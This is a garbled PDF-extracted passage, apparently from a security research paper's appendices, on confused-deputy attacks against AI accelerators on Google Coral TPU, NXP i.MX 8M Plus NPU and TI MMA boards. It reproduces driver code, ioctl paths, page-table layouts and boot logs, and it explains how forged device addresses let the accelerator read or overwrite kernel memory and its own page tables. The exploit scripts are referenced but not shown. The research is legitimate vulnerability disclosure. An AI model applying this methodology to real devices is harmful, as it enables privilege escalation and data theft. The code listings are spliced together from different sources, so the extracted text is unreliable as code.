long gasket_handle_ioctl(struct file *filp, uint cmd, void __user *argp) { ... case GASKET_IOCTL_MAP_BUFFER: retval = gasket_map_buffers(gasket_dev, argp); -> gasket_map_buffers_common -> gasket_page_table_map -> gasket_map_simple_pages ³ gasket_perform_mapping break; case GASKET_IOCTL_MAP_BUFFER_FLAGS: retval = gasket_map_buffers_flags(gasket_dev, argp); break; ...
1 /* 2 3 4 5 6 7 8 9 10 11
Listing 4: Relevant KD entry point Google TPU KD, i.e., entry point reaching AIA relevant function gasket_perform_mapping.
12 13 14 15
Since AIA is a PCIe device, we can gather more ↩→ information from lspci 2 root@wishful-xylophone:/boot# sudo lspci -v -s ↩→ 0001:01:00.0 3 0001:01:00.0 System peripheral: Device 1ac1:089a (prog-if ↩→ ff) 4 Subsystem: Device 1ac1:089a 5 Flags: bus master, fast devsel, latency 0, IRQ 491 Memory at 20200000 (64-bit, prefetchable) [size=16K] 6 7 Memory at 20100000 (64-bit, prefetchable) [size=1M] 8 .... 9 Kernel driver in use: apex 10 Kernel modules: apex
16
Listing 5: lspci output on Google Coral Board revealing AIMem details of Google TPU.
24
1#
17 18 19 20 21 22 23
25 26 27 28
to a 4KB of SMem physical page. The entry in extended slot residing in AIMem maps to a 4KB of SMem physical page (level 2), and each entry in this SMem physical page (level 2) maps to a 4KB of SMem physical page. The AIA can only access the SMem physical pages if they are mapped by simple or extended mapping, thereby giving KD control over what regions of SMem AIA can access.
29 30 31 32 33 34
* Implementation of Gasket page table support. * * This file assumes 4kB pages throughout; can be factored ↩→ out when necessary. * * There is a configurable number of page table entries, ↩→ as well as a * configurable bit index for the extended address flag. ↩→ Both of these are * specified in gasket_page_table_init through the ↩→ page_table_config parameter. * * The following example assumes: page_table_config->total_entries = 8192 * page_table_config->extended_bit = 63 * * * Address format: * Simple addresses - those whose containing pages are ↩→ directly placed in the * device's address translation registers - are laid out ↩→ as: * [ 63 - 25: 0 | 24 - 12: page index | 11 - 0: page ↩→ offset ] * page index: The index of the containing page in the ↩→ device's address translation registers. * * page offset: The index of the address into the ↩→ containing page. * * Extended address - those whose containing pages are ↩→ contained in a second* level page table whose address is present in the ↩→ device's address translation * registers - are laid out as: * [ 63: flag | 62 - 34: 0 | 33 - 21: dev/level 0 index | 20 - 12: host/level 1 index | 11 - 0: page offset ] * Marker indicating that this is an extended * flag: ↩→ address. Always 1. The index of the first-level page in the * dev index: ↩→ device's extended address translation registers. * * host index: The index of the containing page in the ↩→ [host-resident] secondlevel page table. * * page offset: The index of the address into the ↩→ containing [second-level] page. * */
Listing 6: Google coral dev board: Shows AIA page table entries structure [127].
E. Google TPU Inference by AVL Listing 7 shows how Google TPU’s AVL maps the device virtual address (i.e., SMID) to inference requests.
DeputyHunt
also
pointed
out
that
_GFPAlloc,
import_page_map, gckOS_MapPagesEx configured SMem
F. NXP NPU
through NXP NPU specific page tables, NPU can be used by multiple USEs, and they all share the same global NPU pagetables, which are populated by KD. Moreover, the entire AIRMem and DMem regions are flatmapped to NPU’s pagetables at boot time. We provide more information about the structure of the AIA’s page table in Appendix H. The results of this step are summarized in Table II. DeputyHunt also revealed that mapping requests are done through gcsUSER_MEMORY_DESC, gcsHAL_LOCK_VIDEO_MEMORY structure along with gcvHAL_WRAP_USER_MEMORY and gcvHAL_LOCK_VIDEO_MEMORY commands as presented in Table III. CDA Validation. Given that the SMIDs are addresses, the attacker can choose an SMID corresponding to DMem, AIRMem, or other USE pages. On the other hand, NPU is unaware of the privileges of the requesting USE and uses the provided SMID to perform the
We used the NXP i.MX 8M Plus Evaluation Kit that has i.MX 8M Plus SOC with Arm Cortex-A53 as its AP and contains GPU and NPU and with Yocto-based Linux distribution NXP i.MX Release Distro (fsl-imx-xwayland) [96] as the host OS. We created our AUA using TensorFlow and configured it to use the NPU. We referred to the publicly available documentation [95] and identified that NPU is connected to AP through AXI and AHB Interface. Analyzing device tree, provided the address range for AIMem as shown in Table VIII (Appendix G). CDA Relevant Information. DeputyHunt pointed out that _GFPAlloc, import_page_map, gckOS_MapPagesEx as the AIA relevant function handling SMem (Listing 53) as shown in Listing 8. It also pointed out gcvHAL_WRAP_USER_MEMORY and gcvHAL_LOCK_VIDEO_MEMORY as our relevant KD entry points, as these ioctl commands trigger the above function as shown in Listing 10.
19
1 //
AVL (libedgetpu.so) driver InstructionBuffers::LinkInstructionBuffers( const DeviceBuffer& parameter_device_buffer, DeviceBufferMapper* device_buffer_mapper, const Vector<Offset<InstructionBitstream>>& ↩→ instruction_bitstreams) {
2 void 3 4 5 6 7 8 9 10 11 12 13 14 15
static int import_page_map(gckOS ...){ ... result = pin_user_pages(addr & PAGE_MASK, page_count, ↩→ ..) // Update the instruction stream to link the input, ... ↩→ output and parameter result = sg_alloc_table_from_pages(&um->sgt, pages, // addresses. ↩→ page_count...); for (int i = 0; i < ... ↩→ VectorLength(&instruction_bitstreams); ++i) { result = dma_map_sg(dev, um->sgt.sgl, um->sgt.nents, ... ↩→ DMA_TO_DEVICE); ExecutableUtil::LinkScratchAddress( ... * um->dmaHandle = sg_dma_address(um->sgt.sgl); ↩→ device_buffer_mapper->GetScratchDeviceBuffer().device_address(), dma_sync_sg_for_cpu(dev, um->sgt.sgl, um->sgt.nents, instruction_bitstreams.Get(i)->field_offsets(), ↩→ DMA_FROM_DEVICE); gtl::MutableArraySlice<uint8>( buffers_[i].ptr(), }
16
↩→ VectorLength(instruction_bitstreams.Get(i)->bitstream()))); /* PageCount is GPU page count. */ ... gceSTATUS gckOS_MapPagesEx(IN gckOS Os ...){ ExecutableUtil::LinkParameterAddress( ... linked_parameter_address, /* Try to get the user pages so DMA can happen. */ instruction_bitstreams.Get(i)->field_offsets(), while (PageCount-- > 0) gtl::MutableArraySlice<uint8>( ... buffers_[i].ptr(), allocator->ops->Physical(allocator, mdl, offset, ↩→ &phys); ↩→ VectorLength(instruction_bitstreams.Get(i)->bitstream()))); ... for (i = 0; i < (PAGE_SIZE / 4096); i++) * gcmkONERROR(gckMMU_SetPage(Kernel->mmu, ... phys + (i * 4096), ExecutableUtil::LinkInputAddress( gcvPAGE_TYPE_4K, name_and_mapped_input.first, (Address < ↩→ linked_input_addresses, ↩→ gcd4G_SIZE), instruction_bitstreams.Get(i)->field_offsets(), Writable, gtl::MutableArraySlice<uint8>( table++)); buffers_[i].ptr(), ... } ↩→ VectorLength(instruction_bitstreams.Get(i)->bitstream())));
17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
Listing 8: NXP NPU: AIA relevant function i.e.,KD pinning user pages and programming dmaHandle in to AIA pagetables at SMID entries(*).
34
... ExecutableUtil::LinkOutputAddress( name_and_mapped_output.first, ↩→ linked_output_addresses, instruction_bitstreams.Get(i)->field_offsets(), gtl::MutableArraySlice<uint8>( buffers_[i].ptr(),
35 36 37 38 39 40 41
↩→
VectorLength(instruction_bitstreams.Get(i)->bitstream())));
42 43
} static gceSTATUS _GFPAlloc(IN gckALLOCATOR ... * mdlPriv->dma_addr = dma_map_page(dev,
44 }
Listing 7: Google coral dev board: Shows AVL patching Instruction streams with SMID address.
Allocator...){
↩→ mdlPriv->contiguousPages, 0, NumPages * PAGE_SIZE, DMA_BIDIRECTIONAL);
... }
inference operation, resulting in CDA. Moreover, since the NPU page tables are located in DMem, the attacker can create SMID corresponding to NPU page tables. Consequently, overwriting the NPU page tables to add mapping to the entire SMem and gaining complete access to the SMem. We verified this by creating an exploit with details in Appendix I. To check CDA (§ VII-C6), we created a privileged kernel page in DMem and wrote a known pattern to it. Then, in our exploit, we selected an SMID corresponding to this page and sent an inference request. After the inference request, we read the privileged page and observed that the known pattern was altered, confirming that CDA is possible. (more details in Appendix I).
static gceSTATUS gckMMU_FillFlatMappingWithPage16M(IN ↩→ gckMMU Mmu, ...){ ... * _WritePageEntry(Mmu->mtlbLogical + mCursor, ↩→ mtlbEntry); gcmkDUMP(Mmu->os, "#[mmu-mtlb: flat-mapping, slot: ↩→ %d]", mCursor); ... * _WritePageEntry(stlbLogical + sStart, _SetPage((gctUINT32)start, ↩→ physBaseExt, gcvTRUE)); gckOS_Print("%s(%d): insert STLB[%d]:...)) ... }
Listing 9: NXP NPU: AIA relevant functions i.e., platform KD allocating and flatmapping AIRMem and DMem (*).
Given that the attacker can fully perform an arbitrary read/write to any chosen addresses, we classify the CDA in NPU as R, W , A 𝒇 , V 𝒇 .
20
static long drv_ioctl(struct file *filp, unsigned int ioctlCode, unsigned long ↩→ arg){ case IOCTL_GCHAL_INTERFACE: -> copy_from_user(&iface,
struct _gcsHAL_INTERFACE { /* Command code. */ gceHAL_COMMAND_CODES command; 4 ... 5 /* Union of command structures. */ 6 union _u { 7 ... ↩→ gcmUINT64_TO_PTR(drvArgs.InputBuffer), 8 gcsHAL_WRAP_USER_MEMORY drvArgs.InputBufferSize); ↩→ WrapUserMemory; ... 9 ... -> gckDEVICE_Dispatch 10 gcsHAL_LOCK_VIDEO_MEMORY -> gckKERNEL_Dispatch ... ↩→ LockVideoMemory; case gcvHAL_WRAP_USER_MEMORY: 11 ... -> _WrapUserMemory 12 } u; -> gckVIDMEM_NODE_WrapUserMemory 13 } gcsHAL_INTERFACE; -> gckOS_WrapMemory 14 -> _UserMemoryAttach 15 typedef struct _gcsUSER_MEMORY_DESC { -> _Import 16 ... gctUINT64 logical; 17 ³ import_page_map 18 ... ... 19 } gcsUSER_MEMORY_DESC; case gcvHAL_LOCK_VIDEO_MEMORY: 20 -> _LockVideoMemory 21 /* gcvHAL_WRAP_USER_MEMORY. */ -> gckVIDMEM_NODE_Lock 22 typedef struct _gcsHAL_WRAP_USER_MEMORY { -> gckVIDMEM_LockVirtual 23 /* Description of user memory. */ ³ gckOS_MapPagesEx 24 IN gcsUSER_MEMORY_DESC desc; ... 25 ... -> copy_to_user(gcmUINT64_TO_PTR(drvArgs.OutputBuffer), 26 } gcsHAL_WRAP_USER_MEMORY; &iface, 27 drvArgs.OutputBufferSize); 28 /* gcvHAL_LOCK_VIDEO_MEMORY */ } 29 typedef struct _gcsHAL_LOCK_VIDEO_MEMORY { ... Listing 10: NXP NPU: Relevant KD entry points i.e., entry 30 31 /* Hardware specific address. */ points reaching AIA relevant function import_page_map, 32 OUT gctADDRESS address; 33 ... gckOS_MapPagesEx. 34 } gcsHAL_LOCK_VIDEO_MEMORY; 1 typedef 2 3
static int viv_dev_probe(struct platform_device *pdev){ -> drv_init -> gckGALDEVICE_Construct -> gckOS_Construct ... -> gckMMU_Construct ... -> gckOS_AllocatePagedMemory ³ _GFPAlloc
Listing 12: NXP NPU: Structure of messages relevant to CDA sent from AVL to KD and vice versa. 1 root@imx8mpevk:˜#
cat /proc/iomem | grep -i system : System RAM 3 58000000-923fffff : System RAM 4 94400000-ffffffff : System RAM 5 110000000-1bfffffff : System RAM 2 40000000-55ffffff
6
-> gckMMU_FillFlatMapping ³ gckMMU_FillFlatMappingWithPage16M
7 root@imx8mpevk:˜# 8 40410000-4203ffff 9 42420000-4265ffff
cat /proc/iomem | grep -i kernel : Kernel code : Kernel data
10
}
11 root@imx8mpevk:˜#
Listing 11: NXP NPU: Relevant KD entry points i.e., entry points reaching AIA relevant functions.
cat /proc/iomem | grep -i galcore : galcore register region 13 38008000-3800ffff : galcore register region 14 38500000-3851ffff : galcore register region 15 root@imx8mpevk:˜#
G. NXP AIMem regions
Listing 13: NXP NPU: Shows kernel code, kernel data, AIMem and SMem physical memory.
12 38000000-38007fff
Listing 18 and Listing 13 (output of cat /proc/iomem | grep -i galcore command) shows the DTS provided address ranges for AIMem. These are MMIO mapped regions to communicate with AIA.
the level of the page table and determine pagewalk as shown in Listing 15 and also control granularity of page mapping to SMem. Both level-1 and level-2 page tables are allocated from DMem. The granularity of page depends on AIA Memory Management Unit (AIAMMU) hardware, in this board it is (16MB and 4KB). The AIA can only access the SMem physical pages if they are mapped in MTLB or STLB, thereby giving KD control over what regions of SMem AIA can access. During inference as shown in Listing 16 and Listing 17 US buffers are mapped to AIA pagetables and SMID is communicated to AVL.
H. NXP NPU Page tables and FlatMapping From DeputyHunt provided information, _GFPAlloc is allocating AIA pagetables as it contains a calls to dma_map_page as shown in Listing 9. Further analysis these pagetable are populated with entries by gckMMU_FillFlatMappingWithPage16M as shown in Listing 9 which flat maps the entire DMem and AIRMem regions (Comparing with memory zones information provided by DeputyHunt) at 16MB granularity as shown in Listing 14. AIA pagetable structures themselves are allocated from DMem. By default Level-1 page tables also called MTLB. Level-2 pagetables also called STLB. The bits in the address determine
I. NXP NPU CDA Exploit Listing 19 shows how NXP AVL patches address in AIRMem and request for submission to AIA (i.e., SMID) to inference
21
1 //
Kernel driver (KD) finds user scatter gather list (SGList) and pins user pages gets dma address of the buffers 3 static int 4 import_page_map(...) 5{ 6 ... result = pin_user_pages(addr & PAGE_MASK, page_count, 7 8 (flags & VM_WRITE) ? ↩→ FOLL_WRITE : 0, F 9 pages); 10 ... 11 if (result < page_count) { 12 for (i = 0; i < result; i++) { 13 if (pages[i]) 14 ... 15 unpin_user_page(pages[i]);
1 ... 2[
↩→
↩→
6.292861] gckMMU_FillFlatMapping PhysBase: 0x40000000, Size: 0xc0000000
2 //
3 ... 4[ 5[
↩→ 6[
↩→ 7[
↩→
6.922939] #[mmu-mtlb: flat-mapping, slot: 64] 6.927501] @[physical.fill 0x0044040100 0x4404200D 0x00000004] 6.933442] #[mmu-stlb: flat-mapping: 0x40000000 0x40FFFFFF] 6.939307] gckMMU_FillFlatMappingWithPage16M(954): insert STLB[0]: 40000005
8 ... 9[
↩→ 10 [
↩→
7.001711] gckMMU_FillFlatMappingWithPage16M(919): insert MTLB[64]: 4404200d 7.009911] gckMMU_FillFlatMappingWithPage16M(923): STLB: logical:8235d000 -> physical:44042000
11 ... 12 [
↩→
16
25.546232] gckMMU_FillFlatMapping PhysBase: 0x100000000, Size: 0x10000000
18
13 ... 14 [ 15 [
↩→ 16 [ 17 [
↩→ ↩→
↩→ 20 [
↩→
20 21 22 23 24
26.318603] gckMMU_FillFlatMappingWithPage16M(919): insert MTLB[1]: 4404300d 26.326716] gckMMU_FillFlatMappingWithPage16M(923): STLB: logical:82365000 -> physical:44043000
25 26 27
21 ... 22 [
↩→ 23 [ 24 [
↩→
28
30.440448] #[mmu: 4K page size dynamic space: 0x11000000X - 0x3effffff] 30.447173] #[mmu-stlb] 30.449645] @[physical.fill 0x0044100000 0x00000002 0x000BC000]
29
↩→ 27 [
↩→ 28 [
31 32 }
↩→
33
30.465702] --gckOS_AcquireMutex(2687): status=0(gcvSTATUS_OK) 30.472434] _ConstructDynamicStlb(2090): insert MTLB[17]: 44100001 30.479504] _ConstructDynamicStlb(2090): insert MTLB[18]: 44104001
34 //
Kernel driver (KD) mapping user buffer to AIA MMU (i.e. buffer user virtual address to AIAVA) 35 static gceSTATUS 36 gckVIDMEM_LockVirtual(IN gckKERNEL Kernel, IN ↩→ gcuVIDMEM_NODE_PTR Node, 37 OUT gctADDRESS *Address) 38 { 39 ... 40 Node->Virtual.physicalAddress = physicalAddress; 41 ... 42 /* Allocate pages inside the MMU. */ gcmkONERROR(gckMMU_AllocatePagesEx(Kernel->mmu, 43 ↩→ Node->Virtual.pageCount, F ↩→
29 ... 30 [
↩→ 31 [
↩→ 32 [ 33 [
↩→
dma_sync_sg_for_cpu(dev, um->sgt.sgl, um->sgt.nents, ↩→ DMA_FROM_DEVICE); ...
30
25 ... 26 [
} ... result = sg_alloc_table_from_pages(&um->sgt, pages, ↩→ page_count, F addr & ˜PAGE_MASK, ↩→ size, GFP_KERNEL | ↩→ gcdNOWARN); ... result = dma_map_sg(dev, um->sgt.sgl, um->sgt.nents, ↩→ DMA_TO_DEVICE); ... if (Os->iommu) um->dmaHandle = sg_dma_address(um->sgt.sgl);
19
26.240745] #[mmu-mtlb: flat-mapping, slot: 1] 26.245213] @[physical.fill 0x0044040004 0x4404300D 0x00000004] 26.251154] #[mmu-stlb: flat-mapping: 0x0 - 0xFFFFFF] 26.256233] gckMMU_FillFlatMappingWithPage16M(954): insert STLB[1]: 00000015
18 ... 19 [
} ...
17
30.790638] _ConstructDynamicStlb(2090): insert MTLB[62]: 441b4001 30.797708] _ConstructDynamicStlb(2090): insert MTLB[63]: 441b8001 30.804784] #[mmu-mtlb: slot: 17 - 62] 30.808564] @[physical.step 0x0044040044 0x44100000 0x000000BC 0x00004000 0x00000001]
44
34 ... 35 NXP
i.MX Release Distro 6.6-scarthgap imx8mpevk ttymxc1
37 imx8mpevk
46
login:
Listing 14: NXP NPU: Boot time log showing flat mapping of AIRMem, DMem and level 2 pagetables (STLB) creation for dynamic mapping of HMem.
50
lower 3 bits of the page table entry 2 // determine the page size and access type 3 physical = stlbPhyBase 4 /* 16MB page size */ 5 | (0x3 << 2) 6 /* Ignore exception */ 7 | (0 << 1) 8 /* Present */ 9 | (1 << 0);
51
12
15 16 17
↩→
&Node->Virtual.pageTables[i
↩→
&Node->Virtual.addresses[in
... /* Map the pages. */ gcmkONERROR(gckOS_MapPagesEx(os, Kernel, ↩→ F
52
↩→
Node->Virtual.physical,
↩→
Node->Virtual.pageCount,
↩→
Node->Virtual.addresses[index],
53 54 55
10
14
Node->Virtual.lowVA, Node->Virtual.secure,
48
1 //
13
↩→ ↩→ 47
49
11 physical
↩→ Node->Virtual.type, gcvPAGE_TYPE_4K,
45
36
= stlbPhyBase /* 4KB page size */ | (0 << 3) /* Ignore exception */ | (0 << 1) /* Present */ | (1 << 0);
56 57 58 59 60 61
↩→ Node->Virtual.pageTables[index] gcvTRUE, Node->Virtual.type));
... /* Return hardware address. */ *Address = Node->Virtual.addresses[index]; ...
F
62 }
Listing 16: NXP: F shows KD getting US buffers, pinnning them to memory and attaching dma to the buffers, F shows KD mapping the buffer and get the AIAVA.
Listing 15: NXP NPU: Shows AIA SMID permissions and page size.
22
1[
5831.599814] <40> ++_AllocatePages(2970): Mmu=ffff0000d05fb000 PageCount=40 5831.599818] _AllocatePages 2972 Entering function with ↩→ PageCount = 40, PageType = 0 3 [ 5831.599828] _AllocatePages 2975 area->stlbSize = ↩→ 770048, 4 area->stlbEntries = 192512, area->heapList = 0, ↩→ area->freeNodes = 0 5 [ 5831.599838] _AllocatePages 2976 area->mappingStart = ↩→ 17, area->mappingEnd = 63 6 [ 5831.599846] _AllocatePages 2977 area->mapLogical = ↩→ ffff800082eeb000, 7 area->stlbLogical = ffff800083401000 8 ... 9 [ 5831.599904] _AllocatePages 3152 masterOffset = 63, ↩→ slaveOffset = 4056, 10 address = 3ffd8000 11 [ 5831.599913] _AllocatePages 3153 area->mappingStart = ↩→ 17, num = 4096, shift = 12 12 [ 5831.599919] _AllocatePages 3154 Built virtual address ↩→ with MTLB shift = 3ffd8000 at index = 192472 13 ... 14 [ 5831.599951] <40> --_AllocatePages(3165): ↩→ *PageTable=ffff8000834bcf60 15 *Address=3ffd8000 16 [ 5831.599959] #[mmu: dynamic mapping: address=0x3FFD8000 ↩→ pageCount=40] 17 [ 5831.599983] <40> ++gckOS_MapPagesEx(3395): ↩→ Os=ffff0000d108b000 Kernel=ffff0000d05f5000 18 Physical=ffff0000dd20d200 PageCount=0x28 ↩→ Address=0x3ffd8000 PageTable=ffff8000834bcf60 19 [ 5831.599993] <42> gckOS_MapPagesEx(3414): ↩→ Physical->0xDD20D200 PageCount->0x28 20 [ 5831.600002] <42> ↩→ ++gckOS_CPUPhysicalToGPUPhysical(6922): ↩→ CPUPhysical=141238d40 21 [ 5831.600010] <42> ↩→ --gckOS_CPUPhysicalToGPUPhysical(6931): ↩→ CPUPhysical=0x141238d40 22 [ 5831.600019] <42> ++gckMMU_SetPage(3354): ↩→ Mmu=ffff0000d05fb000 23 [ 5831.600025] @[physical.fill 0x00441440A0 0x41238015 4 24 [ 5831.600030] <42> --gckMMU_SetPage(3406) 25 [ 5831.600038] <42> ↩→ ++gckOS_CPUPhysicalToGPUPhysical(6922): ↩→ CPUPhysical=14123bd40 26 [ 5831.600044] <42> ↩→ --gckOS_CPUPhysicalToGPUPhysical(6931): ↩→ CPUPhysical=0x14123bd40 27 [ 5831.600050] <42> ++gckMMU_SetPage(3354): ↩→ Mmu=ffff0000d05fb000
1#
DTS carveouts
2 gpu_reserved@100000000
↩→
2[
{ no-map; reg = <0x01 0x00 0x00 0x10000000>; ...
3 4 5 6 }; 7
8 gpu3d@38000000
{ compatible = "fsl,imx8-gpu"; reg = <0x00 0x38000000 0x00 0x8000>; interrupts = <0x00 0x03 0x04>; clocks = <0x02 0xf8 0x02 0x134 0x02 0x65 0x02 0x66>; ... power-domains = <0x8b>; status = "okay";
9 10 11 12 13 14 15 16 }; 17
18 gpu2d@38008000
{ compatible = "fsl,imx8-gpu"; reg = <0x00 0x38008000 0x00 0x8000>; interrupts = <0x00 0x19 0x04>; clocks = <0x02 0xf7 0x02 0x65 0x02 0x66>; ... power-domains = <0x8c>; status = "okay";
19 20 21 22 23 24 25 26 }; 27 28 #
prints from boot log 0.000000] Kernel command line: console=ttymxc1,115200 ↩→ root=/dev/mmcblk1p2 rootwait rw
29 [
Listing 18: NXP NPU: Shows kernel command line and AIA DTS carveouts. * __int64 __fastcall ↩→ gcoBUFFER_AddVidmemAddressPatch(__int64 a1, int a2, ↩→ int a3, int a4){ __int64 v8; // x4 ... v8 = sub_31AF0(a1, 1u, *(_DWORD *)(a1 + 456)); ... } * _int64 __fastcall gcoCL_SubmitCmdBuffer(__int64 a1, ↩→ const void *a2, int a3){ ... result = gcoBUFFER_EndTEMPCMDBUF(*(_QWORD *)(a1 + 32), ↩→ 0LL); -> gcoBUFFER_Write(a1, *(_QWORD *)(a1 + 448), v4, ↩→ 1LL); -> gcoOS_Allocate(...) -> ioctl(fd, ..)
28
Listing 17: NXP NPU: Inference log showing level 2 pagetables (STLB) dynamic mapping of UMem to AIA.
}
Listing 19: NXP NPU: Shows AVL patching command buffers and requesting KD for execution (*). requests. These are the command buffers that are used by AIA, which follow instructions and acts on SMID. Attacker can select arbitrary restricted memory regions are mapped to AIA by default during flatmapping(1:1) during boot (AIRMem, DMem). Also since AIA can be used by multiple USE, KD maps other USE pages to AIA pagetables. all USE’s use same set of AIA pagetables i.e., AIA does not have any USE specific pagetables and cannot context switch between them. Attacker can choose a SMID that corresponds to one of above (flatmapping(AIRMem, DMem) is 1:1 SMID directly corresponds to physical page, for getting SMID of other process attacker have to perform some heuristics i.e., a valid SMID will not raise an error from AVL). (exploit script is in the provided repository) shows the example. Compile the model such that all graph operations are compatible to be delegated to AIA, If any AVL environment variables need to be set to run full graph on AIA set them. As identified in § F AIA have more access than UMem i.e.
entire DMem and AIRMem. Since multiple process can use AIA simultaneously, AIA have access to 𝑈 𝑀𝑒𝑚 1 , 𝑈 𝑀𝑒𝑚 2 .. 𝑈 𝑀𝑒𝑚 𝑛 . Attacker can choose any region that is AIA accessible i.e. from DMem and AIRMem and other process memory 𝑈 𝑀𝑒𝑚 𝑖 where i≠ attacker and pass in SMID corresponding to privileged memory as shown in (exploit script is in the provided repository). This script breaks at end of each ioctl and modifies the messaging structure memory with attacker SMID. From this point AVL uses this attacker SMID to construct the command buffers and submit to AIA. KD mmaps a part of AIRMem to US as shown in Listing 23. AVL uses this shared memory to construct command buffers and encoded SMID into these buffers. AVL constructs the commands it need to execute on AIA with SMID pointers in the command buffers. Once its ready to execute it triggers a ioctl request to KD to submit this
23
1 root@imx8mpevk:˜#
struct _gcsHAL_INTERFACE { /* Command code. */ gceHAL_COMMAND_CODES command; 4 ... 5 /* Union of command structures. */ 6 union _u { 7 ... 8 gcsHAL_LOCK_VIDEO_MEMORY ↩→ LockVideoMemory; 9 ... 10 } u; 11 } gcsHAL_INTERFACE; 1 typedef 2
↩→
readelf -d /usr/lib/libvx_delegate.so |
grep -i needed
2 0x0000000000000001
(NEEDED) Shared library: [libtensorflow-lite.so.2.15.0] 3 0x0000000000000001 (NEEDED) Shared library: [libtim-vx.so] 4 ... 5 root@imx8mpevk:˜# readelf -d /usr/lib/libtim-vx.so | grep ↩→ -i needed 6 0x0000000000000001 (NEEDED) Shared library: ↩→ [libOpenVX.so.1] 7 ... 8 root@imx8mpevk:˜# readelf -d /usr/lib/libOpenVX.so | grep ↩→ -i needed 9 ... 10 0x0000000000000001 (NEEDED) Shared library: [libGAL.so] 11 ...
3
↩→
12 13 /*
gcvHAL_LOCK_VIDEO_MEMORY */ struct _gcsHAL_LOCK_VIDEO_MEMORY { 15 ... 16 /* Hardware specific address. */ OUT gctADDRESS address; 17 18 ... 19 } gcsHAL_LOCK_VIDEO_MEMORY; 14 typedef
12 13 #
Shared library dependencies
14 libtensorflow-lite.so.2.15.0 15 libvx_delegate.so
20
16 |===>
21 gcsHAL_INTERFACE
17 |======>libOpenVX.so.1
iface; 22 /* Copy data back to the user. */ 23 copyLen = ↩→ copy_to_user(gcmUINT64_TO_PTR(drvArgs.OutputBuffer), ↩→ F &iface, 24 25 drvArgs.OutputBufferSize);
libtim-vx.so
18 |=========>libGAL.so 19 20 #
decompiled function in libGAL.so, invoking syscall open to communicate with /dev/galcore Kernel driver 22 __int64 __fastcall gcoOS_GetTLS(_QWORD *a1) 23 { 24 ... 25 v8 = open("/dev/galcore", 2); 26 *(_DWORD *)((char *)&qword_20 + (_QWORD)v7) = v8; 27 if ( v8 < 0 ) 28 { 29 do 30 { 31 ... 32 v12 = open("/dev/galcore", 2); 33 *(_DWORD *)((char *)&qword_20 + (_QWORD)v7) = v12; 34 } 35 while ( v12 < 0 ); 36 } 37 v3 = gcoHAL_ConstructEx(0LL, 0LL, off_223E08); 38 ... 39 return 0LL; 40 } 21 #
26 27 //
Userspace AVL issue ioctl to map the buffer and get the SMID address 28 if ((ioctl(*(x0 + 0x20), arg2, &var_78) & 0x80000000) == ↩→ 0) F 29 result = *(arg5 + 0x10) 30 ... ↩→
Listing 20: NXP: F shows AVL requesting KD to map the buffer and get the SMID, F shows KD communicating SMID to AVL.
command to AIA. KD checks for availability of AIA cores and submits the request to AIA to execute by writing into AIMem regions the SMID of command buffers as shown in Listing 22. Moreover, as AIA have access to its own AIA page tables present in DMem because of flat mapping, attacker can send inference requests such that malicious SMID corresponds to AIA page table addresses in DMem and make AIA write into the entries, gaining entire access to SMem.
Listing 21: NXP: Shows the relationship between AF and AVL. (i.e., SMP pages) from these regions. and also know the physical address of these pages. We summarized the results of this step in Table II. More details are presented in § K. The message semantics information from DeputyHunt also revealed that SMP requests are done by passing dma_heap_allocation_data, dma_buf_phys_data structure along with DMA_HEAP_IOCTL_ALLOC, DMA_BUF_PHYS_IOC_CONVERT commands as shown in Listing 26. These details are presented in Table III. CDA Validation. SMIDs (i.e., physical addresses) can be created by attacker to any arbitrary memory location. An attacker can pass the physical address to a memory location and have the TMMA access it, resulting in CDA. To check CDA (§ VII-C6), we created a privileged kernel page in DMem and also known pattern in AIRMem and used the physical address of these pages as SMIDs in our exploit and sent inference commands to TMMA. We noticed that the known pattern in AIRMem and DMem was changed after inference, indicating that TMMA accessed these pages. Consequently, the attacker has access to the entire AIRMem and DMem. We verified this by developing an exploit using gdb script and hooking AVLs (details in our repository). The attacker can use this CDA to read/write restricted memory
J. Texas Instruments MMA (TMMA) We used SKTDA4VM[74] as the SOC with 2 Arm CortexA72 as its AP and Texas Instruments MMA (i.e., C71x DSP) as the AIA. We use the board supported Linux based Arago project as the host OS. We created our AUA using TensorFlow and configured it to use AIA. AVLs and KD device files (identified by the data extraction phase) are shown in Table VIII. CDA Relevant Information. DeputyHunt pointed out that dma_heap_buffer_alloc, dma_buf_phys_convert as the AIA relevant function handling SMem (Listing 54) as shown in Listing 25. It also pointed out DMA_HEAP_IOCTL_ALLOC and DMA_BUF_PHYS_IOC_CONVERT as our relevant KD entry points as shown in Listing 24. DeputyHunt also pointed out that dma_heap_buffer_alloc allocates pages from AIRMem ( i.e., 512MB of AIRMem is configured as a heap region for TMMA) which AIA can access directly. The allocated region is returned to AVL as a dma_buf_fd. From KD entry points,DMA_HEAP_IOCTL_ALLOC and DMA_BUF_PHYS_IOC_CONVERT , AVL can request memory
24
1 2 //
↩→
Kernel Driver (KD), submiting commands sent by AVL to AIA
1 // Kernel driver mapping AIRMem to kernel space 3 /****************************************************************************** 2 static gceSTATUS 4 * 3 reserved_mem_map_kernel(... 5 * gckWLFE_Execute 4 IN PLINUX_MDL Mdl, 6 * 5 ...) 7 * Kickstart the hardware's command processor with an 6{
↩→ initialized command * buffer. 9 ... 10 */ 11 gceSTATUS 12 gckWLFE_Execute(IN gckHARDWARE Hardware, 13 IN gctADDRESS Address, 14 IN gctUINT32 Bytes) 15 { 16 ... 17 gckCOMMAND command = Hardware->kernel->command; 18 ... 19 /* Enable all events. */ gcmkONERROR(gckOS_WriteRegisterEx(Hardware->os, 20 ↩→ Hardware->kernel, 21 0x00014, ↩→ eventEnable));
8 9 10 11 } 12 13 //
kernel driver mapping AIRMem to user space gceSTATUS 15 reserved_mem_map_user(... 16 PLINUX_MDL Mdl, 17 ...) 18 { 19 struct reserved_mem *res = (struct reserved_mem ↩→ *)Mdl->priv; 20 ... 21 gcmkERR_BREAK(reserved_mem_mmap(Allocator, Mdl, ↩→ gcvFALSE, 0, Mdl->numPages, vma)); F 22 ... 23 } 14 static
22 23
gcmkSAFECASTVA(address, Address);
24 25 26 27
/* Write address register. */ gcmkONERROR(gckOS_WriteRegisterEx(Hardware->os, ↩→ Hardware->kernel, 0x00654, address));
24 25 static
30 31
32 33
34
35 36 37 38 39 40 41 42 43 44
gceSTATUS
26 reserved_mem_mmap(...
IN struct vm_area_struct *vma)
27
28 29
struct reserved_mem *res = Mdl->priv; ... vaddr = ioremap_nocache(res->start + Offset, Bytes); ↩→ F ...
7
8
28 {
